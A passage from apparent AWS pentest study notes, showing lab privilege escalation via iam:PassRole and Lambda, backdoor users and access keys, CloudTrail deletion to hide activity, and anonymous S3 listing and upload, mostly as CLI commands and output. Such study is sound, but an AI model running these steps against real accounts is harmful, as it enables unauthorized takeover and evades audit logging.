list-attached-role-policies. To inspect inline policies, you need iam list-role-policies. Without those permissions, you cannot do anything. This additional section is the most important part: its main purpose is to show how to use whatever partial permissions are available to complete the attack chain.\nCommands Required for the Workflow\nCommand Purpose Required Permission aws sts get-caller-identity Get the current identity (determine whether it is an IAM user or IAM role) No permission required (available by default to all AWS accounts) aws iam list-roles List the names and ARNs of all IAM roles in the current AWS account iam:ListRoles aws iam list-users List all IAM users (username + ARN) iam:ListUsers aws iam get-user Get detailed information about the current IAM user (username + ARN) iam:GetUser aws iam get-role --role-name \u0026lt;ROLE_NAME\u0026gt; Get detailed information about a specified role (including its trust policy) iam:GetRole aws iam list-entities-for-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess See which IAM users/roles have administrator permissions attached iam:ListEntitiesForPolicy aws iam list-attached-role-policies --role-name \u0026lt;ROLE_NAME\u0026gt; Get the attached managed policies for a specified role iam:ListAttachedRolePolicies aws iam list-role-policies --role-name \u0026lt;ROLE_NAME\u0026gt; Get the inline policies for a specified role iam:ListRolePolicies aws iam get-role-policy --role-name \u0026lt;ROLE_NAME\u0026gt; --policy-name \u0026lt;POLICY_NAME\u0026gt; View the full details of a specified role\u0026rsquo;s inline policy iam:GetRolePolicy aws iam get-policy --policy-arn \u0026lt;POLICY_ARN\u0026gt; View information about a specified managed policy iam:GetPolicy aws iam get-policy-version --policy-arn \u0026lt;POLICY_ARN\u0026gt; --version-id v1 Get the detailed permissions in a specified managed policy version iam:GetPolicyVersion aws sts assume-role --role-arn \u0026quot;arn:aws:iam::\u0026lt;ACCOUNT_ID\u0026gt;:role/\u0026lt;ROLE_NAME\u0026gt;\u0026quot; --role-session-name my-session Switch to the target role (the target role must trust the current identity) sts:AssumeRole aws sts get-session-token Get temporary MFA-based credentials (used to increase privileges) sts:GetSessionToken aws sts decode-authorization-message --encoded-message \u0026lt;ENCODED_MESSAGE\u0026gt; Decode the detailed information in an AccessDenied error sts:DecodeAuthorizationMessage Abusing the iam:PassRole Permission Theory How it works:\nPassRole lets you assign an IAM role to an AWS resource (such as EC2 or Lambda). But you cannot Assume that role yourself. You can only let an AWS resource use it. If that AWS resource can perform privileged operations (such as reading and writing S3 or operating EC2), you can use it to obtain elevated privileges indirectly. Approaches:\nAttach a privileged role to Lambda (the common approach) We have the iam:PassRole permission and can create / update Lambda functions. We create a Lambda function and attach the privileged role to it, then have Lambda execute commands. Attach the privileged role to Lambda / EC2 (rare, but possible) If the target privileged IAM role can modify AWS resources (EC2 / Lambda), it can be steered into executing malicious code. This is relatively uncommon. It mainly happens when an administrator\u0026rsquo;s misconfiguration lets you control an AWS resource associated with a privileged role. Prerequisite: you have one of the following permissions\nPermission Purpose iam:PassRole Lets you attach an IAM role to Lambda / EC2 (prerequisite permission; required) lambda:CreateFunction Lets you create a new Lambda function (assign the privileged role when creating it; choose one of these two) lambda:UpdateFunctionConfiguration Lets you change the IAM role of an existing Lambda function (choose one of these two) lambda:InvokeFunction Lets you invoke Lambda (if you changed the Lambda code, you also need to be able to call it; required) lambda:ListFunctions Lets you list existing Lambda functions (if you want to modify one, you first need to be able to see it; required) ec2:RunInstances Lets you create a new EC2 instance (assign the privileged role when creating it) ec2:ModifyInstanceAttribute Lets you change the IAM role of an existing EC2 instance ec2:StartInstances Lets you start a stopped EC2 instance (if it already has a privileged role) Let me explain this part. When you create a role, you can choose a service such as Lambda or EC2. The EC2S3AccessRole we used earlier was created by choosing EC2, so it is a role with full EC2 permissions. EC2 was already selected when the role was created. If iam:PassRole is then attached, this part of the exploit becomes possible. That is the basic idea. Of course, this is only one scenario; the point is simply to understand the concept. In practice, you still need the permissions listed above—for example, iam:PassRole plus the four Lambda permissions, or iam:PassRole plus the three EC2 permissions. Either combination can work.\nThe main flow is to list all Lambda functions (lambda:ListFunctions), create or reconfigure a Lambda function (lambda:CreateFunction/lambda:UpdateFunctionConfiguration), use iam:PassRole to attach the privileged role, supply the Lambda code—which can usually be prepared as part of creation—and then run it (lambda:InvokeFunction) to complete the attack.\nLab Setup We need a privileged role that trusts the Lambda service. I will target this role shortly.\nLet\u0026rsquo;s verify that this account is usable and talk a little about how Lambda works. Lambda requires a role to be attached. If no suitable role exists when you create a Lambda function, AWS will automatically generate one for you. The role we just created is suitable: first, it trusts the Lambda service; second, it has the administratoraccess permission, which includes all Lambda permissions.\nHow do we verify that? Go to Lambda, create a function, and choose an existing role. Only suitable roles will appear here.\nThe second one is the role we created. So where did the first one come from? When I was learning the basics in the AWS fundamentals section and did not understand this yet, I chose the option above to create a new role with basic Lambda permissions, and AWS created it automatically. We can inspect the role to see which permissions it has: MyFirstFunction-role-ox8lckqa.\nAs you can see, it only trusts the Lambda service. It also has a custom policy, mainly for Amazon CloudWatch Logs permissions. That matches the description.\nThe role we want to escalate to is ready. We also need either an account with Lambda permissions / a role we can access. Either one works. Add the crucial iam:PassRole permission, and the low-privileged user / role is configured.\nYou can think through the considerations here yourself, including which option is more convenient. Doing so helps deepen your understanding of these services and makes the architecture and underlying mechanism clearer. For this demonstration, and to revisit what we learned earlier, I will choose a role we can access.\nCreate it, then grant the key permission, iam:PassRole.\nThat completes the setup. Let\u0026rsquo;s organize the current idea. We have a privileged role that trusts Lambda, plus a low-privileged role under our control that only has Lambda and iam:PassRole permissions. The low-privileged role can use its Lambda permissions to create a function, while iam:PassRole lets us designate the privileged role as that function\u0026rsquo;s execution role. Once we assign the privileged role that trusts Lambda as the execution role of our function, any Lambda code we upload runs as that privileged role. That is the whole principle.\nReproduction and Verification Remember the EC2S3AccessRole account? It has permission to switch roles. We could also use the account with administratoraccess permissions that we created earlier; either is fine. What matters here is that we control an account with Lambda permissions and that the account also has the iam:PassRole permission.\nFind the ARN of the newly created low-privileged role, LambdaTest.\n1 aws sts assume-role --role-arn arn:aws:iam::65025******:role/LambdaTest --role-session-name ExploitSession No problems. I am still using the credential import method from the previous section because it is simpler. The other methods are a little more troublesome, so I will skip them.\n1 2 3 4 aws configure set aws_access_key_id \u0026#34;ASIAxxxxxxxxxxxxx\u0026#34; --profile privileged-session aws configure set aws_secret_access_key \u0026#34;xxxxxxxxxxxxxxxxxx\u0026#34; --profile privileged-session aws configure set aws_session_token \u0026#34;xxxxxxxxxxxxxxxxxxx\u0026#34; --profile privileged-session aws configure set region \u0026#34;us-east-2\u0026#34; --profile privileged-session Once these are set, the commands can run anywhere as long as AwsCli is available.\nThe command works. The result is empty because I deleted all the Lambda functions. (The boto3 library used by Lambda functions is something I definitely need to learn. I am fairly comfortable with python, so I will dedicate a separate section to boto3 later.) Just follow the upload steps from the fundamentals section.\nBuild the python POC code.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 import json import boto3 def lambda_handler(event, context): client = boto3.client(\u0026#39;s3\u0026#39;) response = client.list_buckets() for bucket in response[\u0026#34;Buckets\u0026#34;]: bucket[\u0026#34;CreationDate\u0026#34;] = bucket[\u0026#34;CreationDate\u0026#34;].isoformat() return { \u0026#39;statusCode\u0026#39;: 200, \u0026#39;body\u0026#39;: json.dumps(response) } Compress the code. Any method is fine as long as it produces the archive.\n1 zip function.zip lambda_function.py Create the function.\n1 2 3 4 5 6 7 8 aws lambda create-function \\ --function-name testLambda \\ --runtime python3.9 \\ --role arn:aws:iam::\u0026lt;ACCOUNT_ID\u0026gt;:role/\u0026lt;HIGH_PRIV_ROLE\u0026gt; \\ --handler lambda_function.lambda_handler \\ --zip-file fileb://function.zip aws lambda create-function --function-name testLambda --runtime python3.9 --role arn:aws:iam::\u0026lt;ACCOUNT_ID\u0026gt;:role/\u0026lt;HIGH_PRIV_ROLE\u0026gt; --handler lambda_function.lambda_handler --zip-file fileb://function.zip There was a small detour here. Yesterday, I tried for a long time and kept failing (it worked today), with an error claiming something was wrong with the token. While asking GPT, I analyzed it myself too. The explanation that best matched my situation was that old temporary STS credentials were still being used. If your AWS CLI previously used expired or underprivileged temporary STS credentials, the CLI will keep using the old Token even after you change the IAM role\u0026rsquo;s permissions in the AWS console, causing permission problems. I used many temporary STS credentials during testing. After noticing the problem, I granted the permissions again, but I kept getting the following error.\nAn error occurred (UnrecognizedClientException) when calling the CreateFunction operation: The security token included in the request is invalid.\nToday, the configured token—which was valid for one hour—had probably expired and been discarded. Everything returned to normal after I generated a new key and token. GPT also suggested the following fix, which I did not use yesterday.\n1 aws sts assume-role --role-arn arn:aws:iam::6502******:role/LambdaTest --role-session-name DebugSession You can give it a try. In any case, it worked today, and the upload succeeded.\nNo problems. We can test it in the web interface to see whether it runs, while also using AWSCLI to verify whether it can access S3.\n1 aws lambda invoke --function-name testLambda --payload \u0026#34;{\\\u0026#34;key1\\\u0026#34;: \\\u0026#34;value1\\\u0026#34;, \\\u0026#34;key2\\\u0026#34;: \\\u0026#34;value2\\\u0026#34;}\u0026#34; response.json --cli-binary-format raw-in-base64-out No problems. It did indeed enumerate the resources, completing the attack chain.\nAdditional Notes The key exploitation chain should be clear now, but there is one more especially important point: Lambda functions support multiple languages.\nIf you are comfortable with one of these languages, you will notice that it imports a library when you inspect it. python, for example, has the boto3 library. Obviously, accessing resources is generally done through calls made with boto3. The code above can only access S3 and does nothing else, so I will eventually need to learn how to write Lambda code—in other words, learn the boto3 library. That topic needs a separate section of its own later. For now, this reproduction is complete, so I will stop here.\nReading Policies with iam:GetPolicyVersion Theory If you can call iam:GetPolicyVersion, you can inspect every permission in a policy and may uncover highly privileged policies that can be abused. The previous two techniques both involved abusable high-privilege policies; here, the main point is simply to read those policies and inspect them. What matters is knowing how to analyze and retrieve them. The logic here may be a little questionable. The idea is that you find a policy attached to a role, and that role is under your control. (I tested this as a user and couldn\u0026rsquo;t query it.)\nLab Setup You can reuse the environments from the previous two sections. As for the iam:GetPolicyVersion permission we need, you can try creating it yourself. The main permissions required are these:\n1 2 3 iam list-policies (list all managed policies in the account) iam get-policy (query the default version of a policy) iam GetPolicyVersion (most important) (read the policy details) I\u0026rsquo;ll just test this directly with an administrator account.\nListing All Managed Policies in the Account Goal: Find every Managed Policy in the AWS account.\n1 aws iam list-policies --query \u0026#34;Policies[*].{PolicyName:PolicyName, Arn:Arn}\u0026#34; Example response:\n1 2 3 4 5 6 7 8 9 10 [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;AdministratorAccess\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::aws:policy/AdministratorAccess\u0026#34; }, { \u0026#34;PolicyName\u0026#34;: \u0026#34;S3FullAccess\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::aws:policy/S3FullAccess\u0026#34; } ] This shows every policy in the current AWS account, including:\nHighly privileged policies (such as AdministratorAccess) Potentially abusable policies (those granting permissions such as PassRole or CreateUser) Querying a Policy\u0026rsquo;s Default Version Goal: Find a policy\u0026rsquo;s VersionId, then use GetPolicyVersion to retrieve its exact permissions.\n1 aws iam get-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess Example response:\n1 2 3 4 5 6 7 8 9 10 { \u0026#34;Policy\u0026#34;: { \u0026#34;PolicyName\u0026#34;: \u0026#34;AdministratorAccess\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::aws:policy/AdministratorAccess\u0026#34;, \u0026#34;DefaultVersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;AttachmentCount\u0026#34;: 10, \u0026#34;PermissionsBoundaryUsageCount\u0026#34;: 0, \u0026#34;IsAttachable\u0026#34;: true } } Key point: DefaultVersionId is v1. This v1 is the policy version currently in effect.\nReading the Full Policy Document Goal: Use iam:GetPolicyVersion to read the policy permissions and look for permissions that can be abused.\n1 aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --version-id v1 Example response:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Action\u0026#34;: \u0026#34;*\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;*\u0026#34; } ] }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true } } If Action: \u0026quot;*\u0026quot; and Resource: \u0026quot;*\u0026quot; are present, this is an AdministratorAccess policy, which provides full control over the AWS account.\nRun through the entire process above, because things get a little more complicated later. The theory section already covered this: the technique is mainly useful after you know which policy is attached to a role you control. If you don\u0026rsquo;t know which policies are attached to your controllable roles, querying this is completely useless.\nNext, let\u0026rsquo;s introduce six important permissions that work with iam:GetPolicyVersion.\nQuerying Policies Attached to a User Managed policies: 1 aws iam list-attached-user-policies --user-name \u0026lt;USERNAME\u0026gt; Required permission: iam:ListAttachedUserPolicies\nExample output:\n1 2 3 4 5 6 7 8 { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;AdminPolicy\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::123456789012:policy/AdminPolicy\u0026#34; } ] } Inline policies: 1 aws iam list-user-policies --user-name \u0026lt;USERNAME\u0026gt; Required permission: iam:ListUserPolicies\nExample output:\n1 2 3 { \u0026#34;PolicyNames\u0026#34;: [\u0026#34;InlinePolicyForUser\u0026#34;] } Querying Policies Attached to a Role Managed policies: 1 aws iam list-attached-role-policies --role-name \u0026lt;ROLE_NAME\u0026gt; Required permission: iam:ListAttachedRolePolicies\nInline policies: 1 aws iam list-role-policies --role-name \u0026lt;ROLE_NAME\u0026gt; Required permission: iam:ListRolePolicies\nQuerying Policies Attached to a Group Managed policies: 1 aws iam list-attached-group-policies --group-name \u0026lt;GROUP_NAME\u0026gt; Required permission: iam:ListAttachedGroupPolicies\nInline policies: 1 aws iam list-group-policies --group-name \u0026lt;GROUP_NAME\u0026gt; Required permission: iam:ListGroupPolicies\nReproduction and Verification The next part is fairly simple. We just need to query EC2S3AccessRole and take a look.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 C:\\Users\\xxxxxx\u0026gt;aws iam list-attached-role-policies --role-name EC2S3AccessRole { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;AmazonS3ReadOnlyAccess\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess\u0026#34; }, { \u0026#34;PolicyName\u0026#34;: \u0026#34;AmazonS3FullAccess\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::aws:policy/AmazonS3FullAccess\u0026#34; }, { \u0026#34;PolicyName\u0026#34;: \u0026#34;AWSLambda_FullAccess\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::aws:policy/AWSLambda_FullAccess\u0026#34; } ] } C:\\Users\\xxxxxx\u0026gt;aws iam list-role-policies --role-name EC2S3AccessRole { \u0026#34;PolicyNames\u0026#34;: [ \u0026#34;AssumeRole\u0026#34;, \u0026#34;ListRoles\u0026#34; ] } Now we can see all its permissions, which raises a question. Anyone can tell what the three managed policies above do. They\u0026rsquo;re all standard policies, and we already know their exact permissions. Why insist on reading the policy document with iam:GetPolicyVersion? And why do these three permissions specifically need to be used together? iam list-policies (lists all managed policies in the account) iam get-policy (queries a policy\u0026rsquo;s default version) iam GetPolicyVersion (the most important one; reads the full policy document) Isn\u0026rsquo;t that just extra work? I had serious doubts about it too. In practice, though, this permission is still quite dangerous. The exact attack chain depends on the environment. It primarily matters for custom policies. What if the three managed policies found above were not standard AWS policies? You wouldn\u0026rsquo;t be able to confirm what permissions they grant. With iam:GetPolicyVersion, you can read them and find out exactly what they allow. If the policy contains any of the permissions in the table below, there is a lot you can do with it.\nAbusable Permission Risk iam:PassRole Allows a highly privileged role to be attached to Lambda / EC2 for privilege escalation sts:AssumeRole Allows switching to a highly privileged role iam:CreateUser Allows creating a new IAM user as a persistent backdoor iam:AttachUserPolicy Allows attaching administrator privileges to a low-privilege user iam:CreateAccessKey Allows creating access keys for other users lambda:UpdateFunctionCode Allows modifying Lambda code to introduce malicious operations This attack chain assumes you know that a role has a particular custom managed policy attached, then inspect how that managed policy is actually written. The next question is: what do the other two of these three permissions have to do with it, and why mention them at all? iam list-policies (lists all managed policies in the account) iam get-policy (queries a policy\u0026rsquo;s default version) iam GetPolicyVersion (the most important one; reads the full policy document) We can use the first command to find every policy. If we discover a nonstandard custom managed policy, we check its version, retrieve the full document for its default version, and then use the custom policy to work out who it may have been assigned to—in other words, who has been granted that custom policy. We could even build a PoC that iterates over every role, or use the permission below to find the answer directly.\nGoal: Determine which users, roles, or groups the policy is attached to. Required permission: iam:ListEntitiesForPolicy (lists the entities to which the policy is attached). Command:\n1 aws iam list-entities-for-policy --policy-arn arn:aws:iam::123456789012:policy/AdminPolicy 1 2 3 4 5 { \u0026#34;PolicyGroups\u0026#34;: [], \u0026#34;PolicyUsers\u0026#34;: [{\u0026#34;UserName\u0026#34;: \u0026#34;BackdoorUser\u0026#34;}], \u0026#34;PolicyRoles\u0026#34;: [{\u0026#34;RoleName\u0026#34;: \u0026#34;AdminRole\u0026#34;}] } At this point, we can identify the target role. If we have permission to use that role—or query its trust policy with get-role—we can then use arn:aws:iam::123456789012:policy/AdminPolicy.\nThat brings us right back to switching roles with sts:AssumeRole. This is the complete attack chain.\nAdditional Notes It may look a little complicated, but this is still a high-risk permission. It lets you read many policies, even if some of the possible uses feel a bit underwhelming. Some companies may define a whole pile of custom policies. AWS has taken the permission model about as far as it can go, but a single policy mistake by an administrator can still open the door to an attacker.\niam:CreateAccessKey: Creating a New Access Key Theory An Access Key is an AWS account credential, equivalent to the username and password for the root account.\nWith iam:CreateAccessKey, an attacker can create a new Access Key for themselves. Even if the original credentials are revoked, the attacker can still access AWS resources.\nThis is a persistence technique that lets an attacker retain access over the long term after gaining initial access to an AWS account, even if an administrator deletes the original credentials.\nThis one is fairly easy to understand. Once we obtain the target user\u0026rsquo;s permissions somehow—note that I mean user permissions, not role permissions, because roles only have short-lived keys while users can have long-lived keys—we just generate a new access key.\nSetting Up the Environment Just create a user with the iam:CreateAccessKey permission. We can delete it later.\nI won\u0026rsquo;t go into every detail here. In short, create a user with nothing else configured, give it a name, and then go to its inline policies.\nThat\u0026rsquo;s all we need.\nNext, create an access key.\nThen just keep clicking Next until you\u0026rsquo;re done. Now add it to the AWS CLI configuration.\n1 aws configure All set. Let\u0026rsquo;s reproduce it.\nReproduction and Verification 1 2 aws iam create-access-key --user-name \u0026lt;target-user\u0026gt; aws iam create-access-key --user-name test That\u0026rsquo;s really all there is to it. If you want to go a little further, the following two commands can help confirm whether the account you\u0026rsquo;re checking has the create-access-key permission.\n1 2 aws iam list-attached-user-policies --user-name \u0026lt;target-user\u0026gt; aws iam list-user-policies --user-name \u0026lt;target-user\u0026gt; Looking at these commands, you may wonder: since \u0026lt;target-user\u0026gt; is a variable, can we generate an access key for someone else? The answer is yes, but you need the following permissions.\niam:CreateAccessKey + iam:UpdateUser\nWith both permissions, you can specify any user you want. AWS even allows iam:UpdateUser, so you can also change another user\u0026rsquo;s password.\n1 aws iam update-login-profile --user-name admin --password \u0026#34;NewSuperSecurePassword\u0026#34; --password-reset-required Let\u0026rsquo;s see whether an administrator account can generate another access key for the test account we just created.\nNo problem. Administrator privileges are as powerful as ever.\nAdditional Notes One more point about persistence: when you generate an access key, it will definitely be recorded in the logs. Deleting the trail here can help maintain persistence. Of course, this requires CloudTrail permissions.\nAWS CloudTrail records iam:CreateAccessKey events. It is recommended to delete the CloudTrail logs after the attack: 1 aws cloudtrail delete-trail --name default-trail Stop CloudTrail logging (stealthier, but riskier): 1 aws cloudtrail stop-logging --name default-trail Create multiple Access Keys (a user can have at most 2 Access Keys): 1 aws iam create-access-key --user-name \u0026lt;target-user\u0026gt; Create a hidden user (if you have the iam:CreateUser permission): 1 2 aws iam create-user --user-name backdoor-user aws iam create-access-key --user-name backdoor-user Give the new Access Key higher privileges: 1 aws iam attach-user-policy --user-name \u0026lt;target-user\u0026gt; --policy-arn arn:aws:iam::aws:policy/Admin Additional IAM Penetration Techniques According to the outline, we\u0026rsquo;ve finished the four main sections. There are still a few IAM permission-based penetration techniques left, though. They aren\u0026rsquo;t difficult, so I\u0026rsquo;m including them as a supplement. There is no need to set up another environment. If you\u0026rsquo;ve mastered the four sections above, remembering the commands below should be enough to understand how they work.\niam:CreateUser (Creating a New IAM User) Concept\nPurpose: Allows the creation of new IAM users and can be used as a persistent backdoor. Risk: An attacker can create a new administrator account. Even if an administrator deletes the other credentials, the attacker can still access AWS. Create a new IAM user\n1 aws iam create-user --user-name backdoor-user Example response:\n1 2 3 4 5 6 7 8 9 { \u0026#34;User\u0026#34;: { \u0026#34;Path\u0026#34;: \u0026#34;/\u0026#34;, \u0026#34;UserName\u0026#34;: \u0026#34;backdoor-user\u0026#34;, \u0026#34;UserId\u0026#34;: \u0026#34;AIDAEXAMPLE\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::123456789012:user/backdoor-user\u0026#34;, \u0026#34;CreateDate\u0026#34;: \u0026#34;2025-03-06T12:34:56Z\u0026#34; } } (2) Create an Access Key for the new user\n1 aws iam create-access-key --user-name backdoor-user Response:\n1 2 3 4 5 6 7 8 9 { \u0026#34;AccessKey\u0026#34;: { \u0026#34;UserName\u0026#34;: \u0026#34;backdoor-user\u0026#34;, \u0026#34;AccessKeyId\u0026#34;: \u0026#34;AKIAEXAMPLE\u0026#34;, \u0026#34;SecretAccessKey\u0026#34;: \u0026#34;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\u0026#34;, \u0026#34;Status\u0026#34;: \u0026#34;Active\u0026#34;, \u0026#34;CreateDate\u0026#34;: \u0026#34;2025-03-06T12:34:56Z\u0026#34; } } (3) Attach a highly privileged role (if iam:PassRole is also allowed)\n1 aws iam attach-user-policy --user-name backdoor-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess (4) Log in to AWS with the new Access Key\n1 2 aws configure set aws_access_key_id AKIAEXAMPLE aws configure set aws_secret_access_key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY Then test the permissions:\n1 aws sts get-caller-identity If it returns:\n1 2 3 4 5 { \u0026#34;UserId\u0026#34;: \u0026#34;AIDAEXAMPLE\u0026#34;, \u0026#34;Account\u0026#34;: \u0026#34;123456789012\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::123456789012:user/backdoor-user\u0026#34; } iam:AttachUserPolicy (Attaching a High-Privilege Policy to a Low-Privilege User) Concept\nPurpose: Allows a new permission policy to be attached to an existing IAM user, such as turning a low-privilege user into an administrator. Risk: An attacker can find an existing IAM user, quietly attach AdministratorAccess to it, and then use that account to perform high-privilege operations. (1) List all users in the current AWS account\n1 aws iam list-users Example response:\n1 2 3 4 5 6 7 8 9 10 11 12 { \u0026#34;Users\u0026#34;: [ { \u0026#34;UserName\u0026#34;: \u0026#34;developer\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::123456789012:user/developer\u0026#34; }, { \u0026#34;UserName\u0026#34;: \u0026#34;test-user\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::123456789012:user/test-user\u0026#34; } ] } (2) Attach AdministratorAccess to developer\n1 aws iam attach-user-policy --user-name developer --policy-arn arn:aws:iam::aws:policy/AdministratorAccess (3) Verify whether developer has obtained elevated privileges\n1 aws iam list-attached-user-policies --user-name developer Response:\n1 2 3 4 5 6 7 8 { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;AdministratorAccess\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::aws:policy/AdministratorAccess\u0026#34; } ] } Now developer is an administrator.\nTo briefly sum up the permissions in these two sections: creating a user is about persistence, while granting permissions is about privilege escalation. If you look closely, the two overlap. The idea itself is easy enough to understand. The main point worth discussing is iam:AttachUserPolicy: if you have this permission, can you elevate any role or user? The answer depends on the exact configuration. If you\u0026rsquo;re interested, try experimenting with inline policies. Below are an unrestricted policy, which can attach any managed policy, and a restricted policy, which can attach only the specified policy.\nAbusable policy\n1 2 3 4 5 6 7 8 { \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Action\u0026#34;: [ \u0026#34;iam:CreateUser\u0026#34;, \u0026#34;iam:AttachUserPolicy\u0026#34; ], \u0026#34;Resource\u0026#34;: \u0026#34;*\u0026#34; } Restricted policy\n1 2 3 4 5 { \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Action\u0026#34;: \u0026#34;iam:AttachUserPolicy\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;arn:aws:iam::aws:policy/ReadOnlyAccess\u0026#34; } Closing Thoughts on IAM Penetration Testing At this point, I\u0026rsquo;ve worked through most of the hands-on IAM penetration testing material. This section took a huge amount of time. There were only six policies, but they involved a lot of architectural concepts that took a long time to understand. It isn\u0026rsquo;t just a matter of understanding each policy in isolation; you need a deep understanding of how they interact. Overall, it was pretty interesting, just very complicated—and the reason it is so complicated is that the architecture is so well designed, with every part closely connected to the next.\nStorage Service (S3) Attack Surface S3 Bucket Enumeration Access Control for S3 Buckets In AWS S3, access to a bucket is controlled by two main mechanisms:\nS3 bucket policy (Bucket Policy): Determines which users or accounts can access the bucket (s3:ListBucket, s3:GetObject). It may contain \u0026quot;Principal\u0026quot;: \u0026quot;*\u0026quot;, leaving the bucket open to everyone. Access Control List (ACL): A legacy permissions management method that allows specific AWS accounts or anonymous users to access a bucket or its objects. READ permission can allow external users to list the directory (ListBucket). WRITE permission can allow an attacker to upload malicious files. 📌 Vulnerabilities:\nIncorrect bucket policy: If Principal: * is combined with Action: \u0026quot;s3:ListBucket\u0026quot;, an attacker can list every file. ACL misconfiguration: If READ permission is open to Everyone, an attacker can read the files. S3 Bucket Enumeration Methods There is not much of an environment to set up here. The idea is very simple: the bucket lets you interact with it without authentication. How far you can go depends on which permissions were mistakenly granted. It will make sense once we try it in practice.\nThere are two approaches: tool-based probing and manual verification.\nManual Verification (1) Test whether the bucket allows directory listing (s3:ListBucket**) **\n1 aws s3 ls s3://bucket-name --no-sign-request Explanation:\n--no-sign-request: Used for anonymous access (without AWS credentials). If the command succeeds, the bucket allows s3:ListBucket, and you can see every file in it: 1 2 2024-03-06 12:00:00 450K secrets.txt 2024-03-06 12:01:00 2.3M backup.zip (2) Test whether files can be downloaded (s3:GetObject**) **\n1 aws s3 cp s3://bucket-name/secrets.txt . --no-sign-request Explanation:\nIf the download succeeds, the bucket allows anonymous users to read files (s3:GetObject). (3) Use curl** to test whether an S3 bucket is open**\nAn AWS S3 object URL usually has this format:\n1 https://bucket-name.s3.amazonaws.com/file.txt You can test it directly with curl:\n1 curl -I https://bucket-name.s3.amazonaws.com/secrets.txt 📌Interpreting the response:\n200 OK: The file can be accessed anonymously. 403 Forbidden: Authentication is required, so the file cannot be accessed directly. 404 Not Found: The file does not exist, or the bucket itself is private. Tool-Based Probing (1) Use s3scanner** to scan buckets**\ns3scanner is a tool designed specifically to check whether S3 buckets are open.\n1 2 3 git clone https://github.com/sa7mon/S3Scanner.git cd S3Scanner pip3 install -r requirements.txt Check whether a specific bucket is public\n1 python3 s3scanner.py bucket-name Scan multiple buckets\n1 python3 s3scanner.py -l bucket-list.txt Common results:\n[+] Public Read: Anyone can read the bucket. [+] Public Write: Anyone can write to the bucket (including uploading files). [+] Public List: Anyone can list the files in the bucket. (2) Use bucket-stream** for real-time bucket discovery**\nbucket-stream monitors public log streams to discover possible AWS bucket names in real time.\n1 2 3 git clone https://github.com/eth0izzle/bucket-stream.git cd bucket-stream python3 bucket-stream.py What this tool does:\nMonitors AWS access logs and extracts possible bucket names. Useful for finding new AWS assets (for example, an exposed bucket belonging to a company). Bypassing Bucket Policies This section builds on the enumeration section above. Enumeration only showed what you can do; this part explains why it works.\nIncorrect Bucket Policy: Cross-Account Access Vulnerability S3 bucket policies usually use the \u0026quot;Principal\u0026quot; field to specify who can access the bucket. If it is set to \u0026quot;Principal\u0026quot;: \u0026quot;*\u0026quot;, anyone can access that bucket, potentially causing a data leak.\nExample of an incorrect policy\n1 2 3 4 5 6 7 8 9 10 11 { \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34;, \u0026#34;Statement\u0026#34;: [ { \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Principal\u0026#34;: \u0026#34;*\u0026#34;, \u0026#34;Action\u0026#34;: [\u0026#34;s3:ListBucket\u0026#34;, \u0026#34;s3:GetObject\u0026#34;], \u0026#34;Resource\u0026#34;: \u0026#34;arn:aws:s3:::vulnerable-bucket/*\u0026#34; } ] } Anyone can read the data in the bucket! This explains what we saw in the previous section: why we can list, download, and upload files in the bucket.\n(1) Test whether the bucket contents can be listed\n1 aws s3 ls s3://vulnerable-bucket --no-sign-request If it returns a file list, the bucket\u0026rsquo;s s3:ListBucket** permission has mistakenly been left open!**\n(2) Test whether files can be downloaded\n1 aws s3 cp s3://vulnerable-bucket/secrets.txt . --no-sign-request If the download succeeds, the s3:GetObject** permission has mistakenly been left open!**\n(3) Test whether files can be uploaded\nIf s3:PutObject has also been left open, an attacker can upload malicious files:\n1 2 echo \u0026#34;Malicious File\u0026#34; \u0026gt; malware.txt aws s3 cp malware.txt s3://vulnerable-bucket/malware.txt --no-sign-request If the upload succeeds, the bucket also allows write access!\nPresigned URL Hijacking AWS lets you create a presigned URL, which is a temporary authorization URL that allows users to access 